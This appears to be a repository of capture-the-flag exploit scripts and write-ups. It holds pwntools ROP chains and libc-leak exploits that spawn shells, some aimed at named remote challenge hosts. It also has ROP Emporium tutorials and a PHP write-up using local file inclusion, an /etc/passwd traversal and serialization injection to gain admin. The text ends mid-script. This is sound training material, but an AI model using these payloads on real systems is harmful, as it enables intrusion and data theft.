p.sendline(p64(main_addr + 0xd0)*2 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main_addr) + p64(stack_leak-0x60)) # + p64(stack_leak-0x68))
p.interactive()
<file_sep>/tokyo/smash/xpl.py
#!/usr/bin/env python3
from pwn import *
_FILE = "./smash"
binary = context.binary = ELF(_FILE, checksec=False)
env = {"LD_PRELOAD": ""} #"./libc-2.31.so"}
offset = 242 # 231 on glibc 2.27
one_gadget = 0xcda5a
if args.GDB:
p = gdb.debug(_FILE, gdbscript="\nc\n", env=env)
elif args.REMOTE:
offset = 237
one_gadget = 0xe6ce3
p = remote("pwn01.chal.ctf.westerns.tokyo", 29246)
else:
p = process(_FILE, env=env)
_LIBC = ELF("./libc-2.31.so", checksec=False) if args.REMOTE else binary.libc
p.recvuntil("Input name > ")
p.sendline("sh -c sh "+"%p"*10)
leaks = p.recvuntil("OK?").decode("latin-1").split("\n")[0].split("-c sh")[1].split("0x")[:-1][1:]
print(leaks)
main_libc_addr = int(leaks[-1], 16)
main_addr = int(leaks[6], 16)-0xd
_LIBC.address = (main_libc_addr - offset) - _LIBC.sym["__libc_start_main"]
print(leaks[0])
heap_leak = int(leaks[0], 16)
log.info(f"libc addr {hex(_LIBC.address)}")
log.info(f"heap leak {hex(heap_leak)}")
log.info(f"main addr {hex(main_addr)}")
system = _LIBC.sym["system"]
p.recvuntil("[y/n] ")
p.sendline(b"y")
p.recvuntil("Input message > ")
input("ready?")
pop_rdi = main_addr + 0x1ca
log.info(f"sending {hex(heap_leak+0x30-40)}")
p.sendline(p64(main_addr + 0x105)+ cyclic(40, n=8) + p64(heap_leak+8)) #(p64(_LIBC.address + (0xe6ce6 if args.REMOTE else 0xcda5d))+ cyclic(40, n=8) + p64(heap_leak+0x30-40) + cyclic(1000, n=8)) #p64(main_addr)*(48//8) + p64(heap_leak+0x30)*100)
p.sendline(cyclic(1000, n=8))
p.interactive()
<file_sep>/darkCTF/strings/README.md
# strings from darkCTF
Reversing binary.
## Solving:
setting breakpoints before strcat which concat strings and checking arguments:
## Output:
`wah_howdu_found_me`
<file_sep>/CSAW2020/roppity/exploit.py
#!/usr/bin/env python3
from pwn import *
from time import sleep
_FILE = "./rop"
p = process(_FILE) #, env = {'LD_PRELOAD' : './libc-2.27.so'})
p = remote("pwn.chal.csaw.io", 5016)
binary = context.binary = ELF(_FILE, checksec=False)
_LIBC = ELF("./libc-2.27.so")
#_LIBC = binary.libc
#gdb.attach(p.pid)
puts_addr_call = binary.plt['puts'] #0x4005f5
pop_rdi = 0x00400683
payload = cyclic(40, n=8) + p64(pop_rdi) + p64(binary.got['puts']) + p64(puts_addr_call) + p64(binary.sym['main'])
p.sendline(payload)
print(1,p.recvuntil("Hello\n"))
puts_addr = u64(p.recvline().decode("latin-1").strip().ljust(8, "\x00"))
_LIBC.address = puts_addr - _LIBC.sym["puts"]
log.info(f"Puts address: {hex(puts_addr)}")
log.info(f"Libc address: {hex(_LIBC.address)}")
binsh = next(_LIBC.search(b"/bin/sh"))
payload = cyclic(40, n=8) + p64(_LIBC.address + 0x4f2c5) # + p64(pop_rdi) + p64(binsh) + p64(_LIBC.sym["system"]) + p64(binary.sym['main']) #+ p64(_LIBC.address + 0x10A45C)
p.sendline(payload)
p.interactive()
<file_sep>/ropemporium/ret2win/exploit.py
from pwn import *
# one line, great tool
p = process("./ret2win")
payload = b"A"*40 # generating 40 characters
payload += p64(0x400756) # adding the converted ret2win address to the end
print(p.recvuntil("> ").decode("latin-1")) # receiving
p.sendline(payload)
print(p.clean().decode("latin-1"))
### extra for: ##########
# $ cat exp | ./ret2win #
#########################
with open("exp", "wb") as f:
f.write(payload)
f.close()
<file_sep>/Poseidon/Cards/exploit.py
from pwn import *
_FILE = "./cards"
p = process(f"{_FILE}")
gdb.attach(p.pid)
p.interactive()
<file_sep>/ropemporium/write4/README.md
# 4 write4
This challenge gives you an approach on read and write permissions in the running binary (writing data to GOT such as "flag.txt" in our case).
[challenge link](https://ropemporium.com/challenge/write4.html) using 64-bit binary.
## Understanding
TBA
## Objective
1. find pattern length (same as first [challenge](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/ret2win)).
2. find the gadgets needed to write to an address memory.
3. find print\_file plt address (automated with pwtools).
4. chain the ropes.
5. exploit.
## Understanding the gadgets needed to write to an address and read from it
TBA
## Recon
Same as first [challenge](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/ret2win).
Running `$ rabin2 -SS write4` gives the sections with read, write, execute permissions (we're only interested in r and w).
## Execution
TBA
## Writing exploit
in a file called [exploit.py](https://github.com/l0x539/CTFs-writeups/blob/master/ropemporium/write4/exploit.py)
with [pwntools](http://docs.pwntools.com/en/stable/) on python3.
* Imports:
```python3
from pwn import cyclic, process, ROP, ELF, p64
```
* Running and load binary file:
```python3
_FILE = "./write4"
p = process(_FILE)
binary = ELF(_FILE, checksec=False)
```
* Roping the binary:
```python3
rop = ROP(binary)
```
* Assigning gadgets that laods from the stack
```python3
pop_r14_r15 = rop.find_gadget(["pop r14", "pop r15", "ret"])[0]
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0] # or 0x00400692
```
* Load from the stack to a memory location:
This instruction copies content of r15 to an address pointed by r14.
```python3
pop_qword_r14 = 0x400628 # rop.find_gadget(["mov QWORD PTR [r14], r15", "ret"])[0] # or 0x00400628 is open file argument
```
* The address to write to our string "flag.txt\0":
it's close to `pwnme@plt` but making sure it don't overwrite `print_file@plt`
```python3
pwnme_got = binary.got['pwnme'] + 16 # 0x00600e00 # we gonna write "flag.txt" in this address +16 cause we don't wanna overwrite print_file got.plt address
```
* `print_file@plt` address to call:
```python3
print_file = binary.plt['print_file']
```
* The string to load in the stack and then to an address the to pass as an argument:
string should look like `string = "flag.txt" + "\x00"`, and that's what the next two python lines are doing.
```python3
flag_txt_str = b"flag.txt" # 8 characters
EOL = p64(0x0) # adding null character at the end right after flag.txt so the file reader can open it.
```
the string should look like in the written address for the file to be opened:
```
<pwnme@got+16 addr> flag.txt
<pwnme@got+24 addr> NULL BYTE + WHATEVER WAS THERE
```
null byte at the end of string is important!
* Crafting the payload:
creating pattern of 40 characters `"A"*40`
```python3
# chaining
payload = cyclic(40, n=8) # generating 40 characters pattern
```
* Loading Null Byte to the desired address that has write perms (in GOT table):
```python3
## add null character right after the string ==> string[1] = "\x00"*8
payload += p64(pop_r14_r15)
payload += p64(pwnme_got+1)
payload += EOL # load this string to rdi (aka argument)
payload += p64(pop_qword_r14)
```
* Loading flag.txt same way:
```python3
## adding flag.txt ==> string[0] = "flag.txt"; notice that flag.txt is 8 character, if it was only 7 we could've got rid of the previous part doing string = "lag.txt\x00"
payload += p64(pop_r14_r15)
payload += p64(pwnme_got)
payload += flag_txt_str # load this string to rdi (aka argument)
payload += p64(pop_qword_r14)
```
* Calling `print_file` with the argument:
that's similar to `print_file("flag.txt")`
```python3
## passing flag.txt\0 as an argument to print\_file
payload += p64(pop_rdi)
payload += p64(pwnme_got)
payload += p64(print_file)
```
* Sending payload and receiving output:
```python3
# interacting and sending payload
print(p.recvuntil("> ").decode("latin-1"))
p.sendline(payload)
# printing output
print(p.clean().decode("latin-1"))
```
Out put gives:
```
$ python3 exploit.py
[+] Starting local process './write4': pid 27379
[*] Loaded 13 cached gadgets for './write4'
[*] pwnme: 0x601028
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
>
Thank you!
ROPE{a_placeholder_32byte_flag!}
```
And we got the flag!
<file_sep>/CSAW2020/feather/xpl.py
#!/usr/bin/env python3
from pwn import *
import base64
from enum import Enum
class SegmentType(Enum):
Directory = 0
File = 1
File_Clone = 2
Symlink = 3
Hardlink = 4
Label = 5
def gen_directory(namelength, numentries, name, entries):
nl = p32(namelength)
ne = p32(numentries)
directory = nl + ne + name + entries
return directory
def gen_hardlink(namelength, target, name):
nl = p32(namelength)
t = p32(target)
hardlink = nl + t + name
return hardlink
def gen_header(numsections):
magic = p64(0x52454854414546)
n = p32(numsections)
header = magic + n
return header
def gen_fileclone(namelength, target_inode, name):
nl = p32(namelength)
ti = p32(target_inode)
n = name
fileclone = nl + ti + n
return fileclone
def gen_segment(segtype, segid, offset, length):
t = p32(segtype)
i = p32(segid)
o = p32(offset)
l = p32(length)
segment = t + i + o + l
return segment
def gen_symlink(namelength, targetlength, name, target):
nl = p32(namelength)
tl = p32(targetlength)
n = name
t = target
symlink = nl + tl + n + t
return symlink
libc = ELF('./libc-2.31.so', checksec=False)
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc-2.31.so")}
_FILE = './feather.backup'
if args.GDB:
io = gdb.debug(_FILE, gdbscript="\nc\n") #, env=env)
else:
io = process(_FILE) #, env=env)
binary = context.binary = ELF(_FILE, checksec=False)
header = gen_header(4)
#rootdirectory = gen_directory(0, 2, b'', p32(1) + p32(2))
rootdirectory = gen_directory(0, 2, b'', p32(2) + p32(3))
rootfilesegment = gen_segment(SegmentType.Directory.value, 0, 0, len(rootdirectory))
#testdirectory = gen_directory(len(b'test'), 100, b'test', b'')
testdirectory = gen_directory(len(b'test'), 0, b'test', b'')
#offset = len(rootdirectory)
#testdirectorysegment = gen_segment(SegmentType.Directory.value, 1, 0, 0x4141414142424242)
memmove = p32(0x41a0f0)
leaksegment = p32(SegmentType.File.value) + p32(1) + memmove + p32(0)
writesegment = p32(SegmentType.File.value) + p32(1) + memmove + p32(0)
labelsegment = b''
labelsegment += gen_segment(SegmentType.Label.value, 1, len(rootdirectory), len(testdirectory) + len(leaksegment))
leakhardlink = gen_hardlink(len(b'test'), 1, b'test')
offset = len(rootdirectory) + len(testdirectory)
leakhardlinksegment = gen_segment(SegmentType.Hardlink.value, 2, len(rootdirectory), len(leakhardlink))
writehardlink = gen_hardlink(len(b'test2'), 1, b'test2')
offset = len(rootdirectory) + len(leaksegment) + len(writesegment) + len(testdirectory) + len(leakhardlink)
writehardlinksegment = gen_segment(SegmentType.Hardlink.value, 3, offset, len(writehardlink))
#symlink = gen_symlink(len(b'testlink'), len(b'/test'), b'testlink', b'/test')
#offset = len(rootdirectory) + len(testdirectory)
#symlinksegment = gen_segment(SegmentType.Symlink.value, 1, offset, len(symlink))
#fileclone = gen_fileclone(len(b'test'), 1, b'test')
#offset = len(rootdirectory) + len(testdirectory)
#fileclonesegment = gen_segment(SegmentType.File_Clone.value, 2, offset, len(fileclone))
#symlink = gen_symlink(len(b'testlink'), len(b'/test'), b'testlink', b'/test')
#offset = len(rootdirectory) + len(testdirectory)
#symlinksegment = gen_segment(SegmentType.Symlink.value, 2, offset, len(symlink))
#offset = len(rootdirectory) + len(testdirectory)
#labelsegment = gen_segment(SegmentType.Label.value, 2, offset, 1024)
#payload = header + rootfilesegment + testdirectorysegment + symlinksegment + rootdirectory + testdirectory + symlink
#payload = header + rootfilesegment + labelsegment + testdirectorysegment + rootdirectory + testdirectory
payload = header + rootfilesegment + labelsegment + leakhardlinksegment + writehardlinksegment + rootdirectory + leaksegment + writesegment + testdirectory + leakhardlink + writehardlink
#payload = header + rootfilesegment + rootdirectory
b64payload = base64.b64encode(payload)
print(b64payload)
io.sendline(b64payload)
io.sendline(b'')
io.recvuntil(b':/')
result = io.recvuntil(":")[3:-1]
print("TEST")
print(result)
memvegot = u64(result.ljust(8, b'\x00'))
log.info(f"Leak: {hex(memvegot)}")
io.interactive()
<file_sep>/CSAW2020/TheBardsFail/:
#!/usr/bin/env python3
from pwn import *
_FILE = "./bard"
binary = context.binary = ELF(_FILE, checksec=False)
if args.GDB:
p = gdb.debug(binary.path, gdbscript="\nc\n")
else:
p = process(binary.path)
_LIBC = p.libc
def chose(c: bytes, w: bytes, n: bytes):
p.sendline(c)
p.recvuntil("Choose thy weapon:\n")
p.sendline(w)
p.recvuntil("Enter thy name:\n")
p.sendline(n)
payload = b"1" + p64(0)*4112 + b"0x539 is here"
chose("g", payload, "anything")
p.interactive()
<file_sep>/ropemporium/callme/README.md
# 3 Callme
This challenge introduces you to GOT (Global Offsets Table) and PLT (Procedure Linkage Table).
[challenge link](https://ropemporium.com/challenge/callme.html) using 64-bit binary.
## Understanding
[This approach](https://ropemporium.com/guide.html#Appendix%20A) from the challenges site might help you understand part of this challenge.
In this challenge, we try to call three different functions that are dynamically linked using (GOT PLT) by redirecting the execution to the plt symbol of the functions with passing three arguments for each function.
## Objective
1. find pattern length (same as first [challenge](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/ret2win)).
2. find the three functions plt symbols.
3. find the gadgets/gadget to load the function arguments.
4. chain the ropes.
5. exploit.
## Understanding GOT PLT
In general calling a function from a different dynamically linked file in linux happens using this method PLT (Procedure Linkage Table) and GOT (Global Offsets Table).
in our case we got two files, first one is `callme` which is our binary file and the second one is `libcallme.so` which is the dynamically linked library.
`callme_one`, `callme_two` and `callme_three` are inside `libcallme.so`.
each one of these functions are called by `callme` beside other functions. we can check the functions that `callme` uses from `libcallme.so` by using the command `$ radbin2 -i callme` (basically those are the imported functions).
* example:
```c
int main() {
function(); // calling function first time
function(); // calling function second time
...
function(); // calling function x time
}
```
first time you call a dynamically linked function `function();`, it happens like this:
`call function@plt ==> reolve_function ==> function_outside_our_binary`
if you call the function again.
`call function@plt ==> function_outside_our_binary`
`function_outside_our_binary` is the function called from the dynamically linked library (file, in our case `libcallme.so`), usually it's `_function` example: `_system` or `_puts`, but `callme_*` stays is the same insteam of `_callme_*` (just a function name).
the reason it resolves the address the first time is that the address in the linked library is not known during linkage.
## Recon
Same as first [challenge](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/ret2win).
Running `$ rabin2 -i callme` can show you the imported functions.
## Execution
* Using gdb to examine we need:
- Note:
in this tutorial we'll be using `pwntools` more to get addresses instead of gdb.
1. finding the addresses of `callme_one`, `callme_two` and `callme_three`:
you'll notice `usefulFunction` which makes calls to the three functions but not in the right order.
```
gef➤ disass usefulFunction
Dump of assembler code for function usefulFunction:
0x00000000004008f2 <+0>: push rbp
0x00000000004008f3 <+1>: mov rbp,rsp
0x00000000004008f6 <+4>: mov edx,0x6
0x00000000004008fb <+9>: mov esi,0x5
0x0000000000400900 <+14>: mov edi,0x4
0x0000000000400905 <+19>: call 0x4006f0 <callme_three@plt>
0x000000000040090a <+24>: mov edx,0x6
0x000000000040090f <+29>: mov esi,0x5
0x0000000000400914 <+34>: mov edi,0x4
0x0000000000400919 <+39>: call 0x400740 <callme_two@plt>
0x000000000040091e <+44>: mov edx,0x6
0x0000000000400923 <+49>: mov esi,0x5
0x0000000000400928 <+54>: mov edi,0x4
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
0x0000000000400932 <+64>: mov edi,0x1
0x0000000000400937 <+69>: call 0x400750 <exit@plt>
End of assembler dump.
```
in the challenge description it mentions:

so order does matter, thus, redirecting execution to `usefulFunction` is indeed useless
we need the addresses from the plt table, thus in gdb we can check how `callme_*` is called, or simply do `callme_*@plt`.
`*` here is `one` or `two` or `three`
we can get the plt addresses from usefulFunctio:
```
0x0000000000400905 <+19>: call 0x4006f0 <callme_three@plt>
...
0x0000000000400919 <+39>: call 0x400740 <callme_two@plt>
...
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
```
or
```
gef➤ print 'callme_one@plt'
$3 = {<text variable, no debug info>} 0x400720 <callme_one@plt>
gef➤ print 'callme_two@plt'
$4 = {<text variable, no debug info>} 0x400740 <callme_two@plt>
gef➤ print 'callme_three@plt'
$5 = {<text variable, no debug info>} 0x4006f0 <callme_three@plt>
```
so the addresses are:
`callme_one_plt = 0x400720`
`callme_two_plt = 0x400740`
`callme_three_plt = 0x4006f0`
2. finding the gadgets to load arguments.
We already knew that `rdi` is the first argument from the [previous challenge](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/split)
let's see how the arguments are managed inside `callme_one` function.
running `disass callme_one` and examine the code shows how the function handles the arguments, we notice:
```
...
0x00007fbd1ec20822 <+8>: mov QWORD PTR [rbp-0x18],rdi
0x00007fbd1ec20826 <+12>: mov QWORD PTR [rbp-0x20],rsi
0x00007fbd1ec2082a <+16>: mov QWORD PTR [rbp-0x28],rdx
0x00007fbd1ec2082e <+20>: movabs rax,0xdeadbeefdeadbeef
0x00007fbd1ec20838 <+30>: cmp QWORD PTR [rbp-0x18],rax
0x00007fbd1ec2083c <+34>: jne 0x7fbd1ec20912 <callme_one+248>
0x00007fbd1ec20842 <+40>: movabs rax,0xcafebabecafebabe
0x00007fbd1ec2084c <+50>: cmp QWORD PTR [rbp-0x20],rax
0x00007fbd1ec20850 <+54>: jne 0x7fbd1ec20912 <callme_one+248>
0x00007fbd1ec20856 <+60>: movabs rax,0xd00df00dd00df00d
0x00007fbd1ec20860 <+70>: cmp QWORD PTR [rbp-0x28],rax
0x00007fbd1ec20864 <+74>: jne 0x7fbd1ec20912 <callme_one+248>
...
```
first three instructions are loading the arguments `rdi`, `rsi`, `rdx` respectively, then we notice that it's comparing those arguments to `0xdeadbeefdeadbeef`, `0xcafebabecafebabe`, `0xd00df00dd00df00d` respectively, and making a Jump not equal condition (jne), in a `c` code it would look like:
```c
var_1 = arg_1; // [rbp-0x18] = rdi
var_2 = arg_2; // [rbp-0x20] = rsi
var_3 = arg_3; // [rbp-0x28] = rdx
if (var_1 == 0xdeadbeefdeadbeef){
if (var_2 == 0xcafebabecafebabe) {
if (var_3 == 0xd00df00dd00df00d) {
/* execute {open encrypted_flag in callme_one,
* open key1.dat in callme_two,
* open key2.dat in callme_three}
* and the decrypting the file and printing it. */
}
}
}
```
so the gadgets we need are, `pop rdi`, `pop rsi` and `pop rdx`
using `radare2` we can find the Gadget, in our case we only find one that was enough.
```
[0x00400760]> /R pop rdi
0x0040093c 5f pop rdi
0x0040093d 5e pop rsi
0x0040093e 5a pop rdx
0x0040093f c3 ret
```
the gadget address is `0x0040093c`
so:
`pop_rdi_rsi_rdx_ret = 0x0040093c`
final payload will look like:
`Pattern + pop_rdi_rsi_rdx_ret + arg_1 (0xdeadbeefdeadbeef) + arg_2 (0xcafebabecafebabe) + arg_3 (0xd00df00dd00df00d) + callme_one_plt + pop_rdi_rsi_rdx_ret + arg_1 (0xdeadbeefdeadbeef) + arg_2 (0xcafebabecafebabe) + arg_3 (0xd00df00dd00df00d) + callme_two_plt + pop_rdi_rsi_rdx_ret + arg_1 (0xdeadbeefdeadbeef) + arg_2 (0xcafebabecafebabe) + arg_3 (0xd00df00dd00df00d) + callme_three_plt`
we can do:
```
args = arg_1 (0xdeadbeefdeadbeef) + arg_2 (0xcafebabecafebabe) + arg_3 (0xd00df00dd00df00d)
payload = Pattern + pop_rdi_rsi_rdx_ret + args + callme_one_plt + pop_rdi_rsi_rdx_ret + args + callme_two_plt + pop_rdi_rsi_rdx_ret + args + callme_three_plt
```
Now let's exploit.
## Writing exploit
in a file called [exploit.py](https://github.com/l0x539/CTFs-writeups/blob/master/ropemporium/callme/exploit.py)
again, using [pwntools](http://docs.pwntools.com/en/stable/) on python3.
* Imports:
```python3
from pwn import cyclic, p64, process, ELF, ROP
```
* Running file
```python3
_FILE = "./callme"
p = process(_FILE)
```
* Loading binary file to get addresses:
```python3
binary = ELF(_FILE)
```
* using ROP class from pwntools
```python3
rop = ROP(binary)
pop_rdi_rsi_rdx_ret = rop.find_gadget(['pop rdi', 'pop rsi', 'pop rdx', 'ret'])[0] # or 0x0040093c
# or
'''
pop_rdi_rsi_rdx_ret = 0x0040093c
'''
```
* preventing repetition:
```python3
# passing parameters
pass_params = p64(pop_rdi_rsi_rdx_ret) + p64(0xdeadbeefdeadbeef) + p64(0xcafebabecafebabe) + p64(0xd00df00dd00df00d)
```
* Crafting payload
```python3
# crafting payload
payload = cyclic(40, n=8)
# calling callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
payload += pass_params
payload += p64(binary.plt['callme_one'])
# calling callme_two(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
payload += pass_params
payload += p64(binary.plt['callme_two'])
# calling callme_three(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
payload += pass_params
payload += p64(binary.plt['callme_three'])
```
* Receiving output until it asks for input:
```python3
print(p.recvuntil("> ").decode("latin-1"))
```
* Sending payload
```python3
p.sendline(payload)
```
* Receving output:
```python3
print(p.clean().decode("latin-1"))
```
* Running the script:
```
$ python3 exploit.py
[+] Starting local process './callme': pid 25240
[*] '/home/kali/CTFs-writeups/ropemporium/callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 17 cached gadgets for './callme'
callme by ROP Emporium
x86_64
Hope you read the instructions...
>
[*] Process './callme' stopped with exit code 0 (pid 25240)
Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
```
And we get the flag!
<file_sep>/darkCTF/newPaX/exploit.py
#!/usr/bin/env python3
from pwn import *
_FILE = "./newPaX"
context.arch = 'i386'
binary = context.binary = ELF(_FILE, checksec=False)
env = {}
_LIBC = binary.libc
if args.GDB:
p = gdb.debug(_FILE, gdbscript="\n\nc\n", env=env)
elif args.REMOTE:
p = remote("newpax.darkarmy.xyz", 5001)
_LIBC = ELF("libc6-i386_2.27-3ubuntu1.2_amd64.so", checksec=False)
else:
p = process(_FILE, env=env)
#rop = ROP(binary)
#pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
p.clean()
payload = cyclic(52, n=4)
payload += p32(binary.sym["printf"])
payload += p32(binary.sym["vuln"])
payload += p32(binary.got["read"])
p.sendline(payload)
print(p.clean())
read_addr = u32(p.clean()[:4])
log.info(f"read address: {hex(read_addr)}")
_LIBC.address = read_addr - _LIBC.sym["read"]
payload = cyclic(52, n=4)
payload += p32(_LIBC.sym["system"])
payload += p32(binary.sym["main"])
payload += p32(next(_LIBC.search(b"/bin/sh")))
p.sendline(payload)
p.interactive()
<file_sep>/threatsims/RCE/BabyROP/exploit.py
from pwn import *
_FILE = "./babyrop"
#p = process(_FILE)
p = remote("pwnremote.threatsims.com", 9001)
binary = ELF(_FILE, checksec=False)
#gdb.attach(p.pid)
rop = ROP(binary)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
pop_rsi = rop.find_gadget(["pop rsi"])[0]
printf_plt = binary.plt['printf']
main = binary.sym["vuln"]
payload = cyclic(40, n=8)
def leak_payload(func):
pay = p64(pop_rdi) + p64(binary.got[func]) + p64(pop_rsi) + p64(0x400714) + p64(0x0) + p64(printf_plt) + p64(main)
return pay
p.clean()
payload += leak_payload("setvbuf")
p.sendline(payload)
sleep(1)
leaked_printf = u64(p.clean().decode("latin-1").ljust(8, "\x00"))
payload = cyclic(40, n=8)
'''
payload += leak_payload("setvbuf")
p.clean()
p.sendline(payload)
leaked_printf = u64(p.recvline().decode("latin-1").split("Simple")[0].ljust(8, "\x00"))
'''
log.info(f"Leaked printf: {hex(leaked_printf)}")
#log.info(f"Leaked printf: {hex(leaked_printf)}")
addr = 0x087e60
system = leaked_printf - addr + 0x055410
binsh = leaked_printf - addr + 0x1b75aa
payload += p64(pop_rdi) + p64(binsh) + p64(system) + p64(main)
p.sendline(payload)
p.interactive()
<file_sep>/hacktivity/pwn/README.md
# Hacktivity Con CTF
## Binary Exploitation Challenges.
### Description
TBA
<file_sep>/CSAW2020/feather/:
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode
_FILE = "./feather"
binary = context.binary = ELF(_FILE, checksec=False)
env = {"LD_PRELOAD": "./libc-2.31.so"}
if args.REMOTE:
_LIBC = ELF("./libc-2.31.so")
p = remote()
elif args.GDB:
_LIBC = binary.libc
p = gdb.debug(binary.path, gdbscript="\nc\n")
else:
p = process(binary.path)
def get_header(seg: int):
magic = b"FEATHER".ljust(8, b"\x00")
num_segments = p32(seg)
return magic + num_segments
def get_segment(t: int, i: int, o: int, l: int):
Type = p32(t)
Id = p32(i)
offset = p32(o)
length = p32(l)
return Type + Id + offset + length
## interactive functions ##
def send_feather(b: bytes):
p.recvuntil("newlines:\n")
p.sendline(b)
p.sendline()
return p.clean().decode("latin-1")
header = get_header(10)
segment = get_segment(1, 0, 4, 4)
extra = b"B"*8
content = b"A"*(ord("Z")*16) + extra
payload = header + segment + content
payload = b64encode(payload)
print(send_feather(payload))
p.interactive()
<file_sep>/CSAW2020/grid/expliot.py
#!/usr/bin/env python3
from pwn import *
_FILE = "./grid"
binary = context.binary = ELF(_FILE, checksec=False)
_LIBC = binary.libc
_LIBC_STDC = ELF("./libstdc.so.6.0.25")
print([x for x in _LIBC_STDC.sym if "sentry" in x])
if args.GDB:
p = gdb.debug(binary.path, gdbscript="\nb *0x400d8e\nc\n")
else:
p = process(_FILE) #, env={"LD_PRELOAD": "./libc-2.27.so:./libstdc.so.6.0.25"})
def shape(s: bytes, loc1: bytes, loc2: bytes):
p.sendline(s)
p.recvuntil("loc> ")
p.sendline(loc1)
p.sendline(loc2)
return p.recvline().decode("latin-1")
def print_grid():
p.sendline("d")
p.recvuntil("Displaying\n")
return p.clean().decode("latin-1")
def leak_libcstdc():
p.sendline("d")
p.recvuntil("Displaying\n")
return u64(p.recvuntil("shape> ")[26:32].ljust(8, b"\x00"))-335-_LIBC_STDC.sym['_ZNSi6sentryC2ERSib'] #.decode("latin-1"))
leak_libcstdc_addr = leak_libcstdc()
_LIBC.address = leak_libcstdc_addr - 0x1b7ae0 - _LIBC.sym['__libc_start_main']
log.info(f"Libcstdc address: {hex(leak_libcstdc_addr)}")
log.info(f"Libc leak address: {hex(_LIBC.address)}")
addr = p64(_LIBC.address)[::-1] + b"B"*8
addr = addr.decode("latin-1")
i = 0
for _ in range(16, 0, -1):
shape(addr[i], str(0), str(127-i))
i += 1
grid = print_grid()
print(grid)
p.interactive()
<file_sep>/0x0539/TheLostProfile/README.md
# The Lost Profile
- Pwn challenge, using Tcache poisoning to read a file by changing a check value.
<file_sep>/0x0539/TemporaryNote/README.md
# Temporary Note
* Link [Callenge](http://challenges.0x0539.net:4455)
## exploiting.
### LFI (local file inclusion)
- we notice LFI vulnerability at `?action=` param.
- we can't get file that don't have `.php` extention.
- passing `../../../../etc/passwd` gives an error

- instead, we can look at the file's content using `php://filter/convert.base64-encode/resource=`
so:
```
?action=php://filter/convert.base64-encode/resource=index
```
this gives a base64 encoding of the source code.
- saving a file would be:
```
$ echo <BASE64 FILE ENCODING HERE> | base64 -d > <FILENAME>
```
### PHP Serialize Unserialize vulnerability
after exminig the code we notice that there's a function called `saveCurrentUser` that replace swears to with stars, then serialize it.
```php
$SESSION['USERS'][$u->getName()] = str_replace($swears, '**********', serialize($u));
```
### Objective
* Inside index.php we notice it's checking for flag:
```php
if($CURRENT_USER && !$CURRENT_USER->isAdmin()) {
switch($action) {
case 'flag':
$error = 'You need administrative privileges do perform this action';
$action = 'home';
}
}
```
let's grab that file and check it:
```php
<?php
if(strtolower($_SERVER['SCRIPT_NAME'])!='/index.php') die();
if($CURRENT_USER->isAdmin()) echo file_get_contents('flag.txt');
?>
```
This file reads the content of `flag.txt` and prints it out.
* How to read the file:
we need be admin
`index.php`
```php
if($CURRENT_USER && !$CURRENT_USER->isAdmin()) {
```
and
`user.php`
```php
class User {
...
var $IsAdmin = false;
...
function isAdmin() {
return $this->IsAdmin;
}
...
```
using the serialize vulnerability in `util.php`, we can change `$u->IsAdmin` value.
- We can examine locally by running a local server `$ php -S localhost:8000`
- We can also print the content of serialized objects:
so in `util.php`:
change
```php
$swears = ["shit", "fuck", "bitch", "bastard", "asshole", "douche"];
$_SESSION['USERS'][$u->getName()] = str_replace($swears, '**********', serialize($u));
echo '
```
to
```php
$swears = ["shit", "fuck", "bitch", "bastard", "asshole", "douche"];
var_dump($_SESSION['USERS'][$u->getName()]);
$_SESSION['USERS'][$u->getName()] = str_replace($swears, '**********', serialize($u));
var_dump($_SESSION['USERS'][$u->getName()]);
$_SESSION['CURRENT_USER'] = $_SESSION['USERS'][$u->getName()];
```
this will allow us to see see the following strings.
* After logging in and creating a note and editing it you'll notice this:
(Passing "Note One :)" into content)
the serialize user `$u` look like:
```
O:4:"User":4:{s:4:"Name";s:5:"0x539";s:5:"Notes";a:1:{i:0;s:11:"Note One :)";}s:8:"Password";s:64:"<PASSWORD>";s:7:"IsAdmin";b:0;}
```
the function `saveCurrentUser` checks for any of any swear word inside that string, and replace it with `**********` which might mess up the serialize function, and that's why you'll get an error everytime try passing swears in a note or even the user name such as `shit`.
* How to exploit:
Simply by passing `Junk + 'shit'` couple times followed by `0x539";s:5:"Notes";a:1:{i:0;s:11:"Note One :)";}s:8:"Password";s:64:"<PASSWORD>";s:7:"IsAdmin";b:1;}//` (notice we changed `IsAdmin` value) followed by `shit` couple time again.
* finding the right shift:
notice
```
a:1:{i:0;s:11:"Note One :)";}
```
`a` is for array (object type)
`1` length of the array
`{...}` object content (array)
`i` integer
`0` value of the integer (index name in the array, 0 in this case cause it's the first element)
`s` string (type)
`11` length of the string
`"Note One :)"` Note 1 content.
we can try on php
```php
php > $a=unserialize('a:1:{i:0;s:11:"Note One :)";};');var_dump($a);
array(1) {
[0]=>
string(11) "Note One :)"
}
```
so that's an array.
### Exploiting
Serialize load an object from a string, and the string have a specific format (something like `0:<object name length>:"<object name>":{id:<index>,<type>:<length>:"<var>"}`), you can check [serialize](https://www.php.net/manual/en/function.serialize.php) function, for better explanation.
mal formatted string passed to serialize will give an error.
* changing IsAdmin Value:
* `exploit.py`:
```python
import sys
import re
if len(sys.argv) < 5:
print("Usuage:\n\rpython3 exploit.py 60 59 0 2")
# informational function
def calleb(s_b, s_c, s1, s_a=0):
shit_rep=s1;
